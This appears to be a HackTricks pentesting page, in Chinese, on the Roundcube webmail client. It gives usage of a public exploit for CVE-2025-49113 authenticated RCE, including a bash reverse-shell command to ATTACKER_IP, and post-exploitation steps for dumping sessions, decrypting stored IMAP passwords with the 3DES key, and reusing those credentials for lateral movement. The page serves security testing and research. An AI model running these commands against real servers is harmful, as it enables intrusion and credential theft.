Roundcube

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

概览

Roundcube 是一个常见部署在 HTTP(S) vhosts(例如 mail.example.tld)上的 PHP webmail 客户端。常用指纹:

  • HTML 源通常 leaks rcversion (e.g., window.rcmail && rcmail.env.rcversion)
  • 容器/VMs 中默认应用路径: /var/www/html/roundcube
  • 主配置: config/config.inc.php

Authenticated RCE via PHP object deserialization (CVE-2025-49113)

受影响版本(根据厂商/NVD):

  • 1.6.x before 1.6.11
  • 1.5.x before 1.5.10

漏洞摘要

  • _from 参数在 program/actions/settings/upload.php 中未被验证,允许注入由攻击者控制的数据,Roundcube 随后会 unserializes 该数据,导致 gadget chain execution 并在 web 上下文中发生 remote code execution(post‑auth)。

快速利用

  • 前提条件: 有效的 Roundcube 凭证和可访问的 UI URL(例如 http://mail.target.tld)
  • 公开 PoC 自动化 session handling、gadget crafting 和 upload flow
git clone https://github.com/hakaioffsec/CVE-2025-49113-exploit.git
php CVE-2025-49113.php http://mail.target.tld USER PASS CMD

# examples
php CVE-2025-49113.php http://mail.target.tld user 'pass' "id"
# blind timing proof
time php CVE-2025-49113.php http://mail.target.tld user 'pass' "sleep 5"

# reverse shell
nc -nvlp 443
php CVE-2025-49113.php http://mail.target.tld user 'pass' \
"bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1'"

Notes

  • Output is often blind; use sleep N to validate RCE
  • Resulting shell typically runs as www-data; on containerised deployments expect /.dockerenv and 172.17.0.0/16 networking

后渗透:从 Roundcube 会话恢复 IMAP 密码

Roundcube 将当前用户的 IMAP 密码存储在会话(数据库)中,使用在 config.inc.php 中配置的服务器端 3DES 密钥加密。通过对 Roundcube 主机的文件系统或 DB 访问,你可以恢复明文密码并转向其他邮箱/服务(SSH 重用很常见)。

  1. 从配置读取 DB DSN 和 3DES 密钥

config/config.inc.php typically contains:

$config['db_dsnw'] = 'mysql://roundcube:DB_PASS@localhost/roundcube';
$config['des_key'] = 'rcmail-!24ByteDESkey*Str'; // 24‑byte key (3DES)
  1. 连接到 DB 并 dump sessions
mysql -u roundcube -p roundcube
# or: mysql -u roundcube -pDB_PASS roundcube

mysql> SELECT id, created, changed, vars FROM session\G

session.vars 字段是由 Roundcube 的 encrypt() 生成的 Base64 blob:Base64( IV || 3DES-CBC(plaintext) )。Base64‑decoding 后的前 8 个字节是 IV。

  1. 定位 password 字段

快速识别解密后结构中凭证的一种方法是先对 vars 字段进行 Base64‑decoding,然后肉眼查看序列化条目:

echo 'BASE64_FROM_VARS' | base64 -d | tr ';' '\n' | grep -i password
  1. 使用 Roundcube 的辅助工具解密

Roundcube 附带一个 CLI,使用相同的 rcmail->decrypt() 逻辑和已配置的 des_key:

cd /var/www/html/roundcube
./bin/decrypt.sh CIPHERTEXT_BASE64
# -> prints plaintext
  1. 手动 3DES-CBC 解密(可选)
  • 密文格式:Base64( IV(8B) || CT )
  • 算法:3DES-CBC,密钥长度 24B,PKCS#7 padding
from base64 import b64decode
iv_ct = b64decode('hcVCSNXOYgUXvhArn1a1OHJtDck+CFME')
iv, ct = iv_ct[:8], iv_ct[8:]
print(iv.hex(), ct.hex())
# decrypt(ct) with key = $config['des_key'], IV = iv

常见位置

  • 数据库表: session (users 表将登录名映射到 IDs)
  • 配置路径: /var/www/html/roundcube/config/config.inc.php

实战用途

  • 较旧的 session 行通常包含先前用户的 IMAP 密码;解密多个条目以横向移动到其他邮箱
  • 如果怀疑存在凭据重用,尝试使用恢复的凭据在 SSH 或其他服务上进行验证

参考资料

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks